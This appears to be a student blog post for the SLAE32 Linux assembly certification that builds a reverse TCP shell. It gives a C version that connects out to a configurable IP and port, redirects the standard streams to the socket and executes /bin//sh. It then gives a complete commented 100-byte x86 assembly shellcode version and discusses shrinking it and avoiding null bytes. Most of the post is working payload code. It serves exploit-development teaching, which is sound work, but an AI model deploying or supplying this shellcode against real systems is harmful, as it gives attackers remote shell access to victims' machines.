SLAE32 Assignment 2: Reverse TCP Shell
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1009
The second assignment is to create a reverse tcp shell, with a configurable IP and port. In the first assignment, I opted for features over brevity. In this case, I aim to make the shellcode as short as possible.
Based on the last assignment, one important structure that I will need is the sockaddr_in
struct. The first byte will again be a 2, the second byte will be 0, the next two bytes will be the port, the next four bytes will be the IP address, then there will be 8 null bytes. This is what will get passed to the connect system call. Of course, I wanted to verify this as well as find the socketcall number, so again I created a C program to perform the reverse shell.
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <unistd.h>
int main(){
char *execargs[] = {"/bin//sh", 0};
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr("127.0.0.1");
sa.sin_port = htons(9999);
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sock, (const struct sockaddr *) &sa, 16);
dup2(sock,0);
dup2(sock,1);
dup2(sock,2);
execve(execargs[0], execargs, 0);
}
Running it through gdb as before shows that the socketcall number for connect
is 3. This can be confirmed by looking at /usr/include/linux/net.h
#define SYS_CONNECT 3 /* sys_connect(2) */
Based on this information, as well as what was learned in the first assignment, I was able to write the assembly code. For whatever reason, this one took a lot more debugging. In any case, here is the assembly file, with copious comments to explain each step.
; Filename: shell_bind_fork_tcp.nasm
; Author: Mark Shaneck
; Website: http://markshaneck.com
;
; Purpose: The purpose of this shellcode connect back
; to a host and port of our choosing
global _start
section .text
_start:
; First things first, call socket
; need to call socketcall with args 1, and domain (2), type (1), protocol(6)
push byte 6 ; protocol = IPPROTO_TCP
push byte 1 ; type = SOCK_STREAM
push byte 2 ; domain = AF_INET
xor eax, eax
mov al, 102 ; syscall - socketcall
xor ebx,ebx
mov bl, 1 ; socket sockcall type
mov ecx, esp ; pointer to the args
int 0x80
; eax now contains the socket file descriptor
; let's dup the stdio FDs
pop ecx ; we are going to loop from 2 to 0, and 2 happens to be on the top of the stack
mov ebx,eax ; put socket file descriptor in ebx
dup:
mov al, 63 ; dup2 syscall
int 0x80
dec ecx
cmp cl,0xff
jne dup
; now we call connect
; we need the socket file descriptor, a pointer to the sockaddr structure and a 16
; perform a jmp-call-pop to get the port number so that it is easily configurable
jmp short get_sockaddr
got_sockaddr:
pop ecx ; put address of sockaddr struct into ecx
mov edx,[ecx+2]
push edx ; push the ip address next
mov dx, word [ecx] ; put the port into ebx
shl edx,16 ; move the port number to the higher order bytes
add dl,2 ; put the socket family in there
push edx
mov edx, esp ; now ebx has the address of the sockaddr_in struct
push byte 0x10
push edx
push ebx
mov ecx, esp
xor ebx,ebx
mov bl, 3 ; connect sockcall type
mov al, 102 ; syscall - socketcall
int 0x80
; we should now be connected
; execve the shell using stack method
; let's execute sh
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp ; pointer to "/bin//sh"
push eax
mov edx,esp ; env pointer (NULL)
push ebx
mov ecx,esp ; pointer to [pointer to "/bin//sh", 0]
mov al, 11 ; execve syscall
int 0x80
get_sockaddr:
call got_sockaddr
sockaddr: db 0x27, 0x0f, 0x7f, 0x00, 0x00, 0x01
; should we worry about the nulls in the ip addr?
Compiling and pasting the shellcode into the shellcode stub resulted in a functioning reverse tcp shell.
Total shellcode length was exactly 100 bytes, which was an improvement from my initial straightforward attempt, which was somewhere around 120 bytes. I tried to break the arbitrary 100 byte boundary, but I ran out of ways to shorten it any further. I could probably save a few more bytes by placing the ip address and port in the middle of the program and not using the jmp-call-pop technique to get its location, but I wanted to leave that in for ease of configuration.
Some of the improvements I made in this shellcode, as compared to assignment 1, aside from extra features, was pushing hardcoded bytes onto the stack directly, instead of loading them into registers and pushing those. The other major improvement I made to save some space was to rearrange the functions. Namely, putting dup2
just after socket
allowed for reuse of some registers, as the values were already in them.
One limitation of the shellcode is in the IP address. It is placed at the end and it is not encoded. That means that you cannot put an IP address as the destination that contains a null byte. At least, that is, if you need to avoid null bytes. As you can see in my example, I have two null bytes, since I was connecting to 127.0.0.1. However, I didn’t want to add the additional complexity of encoding, plus any sort of simple encoding would require some byte to be disallowed from the IP address. The idea that I had was that you could put an encoding byte just after the IP address, and have the shellcode use that byte to decode the address. That way, it could be configurable, along with the IP, and so you could choose a byte that isn’t in the address you were connecting to.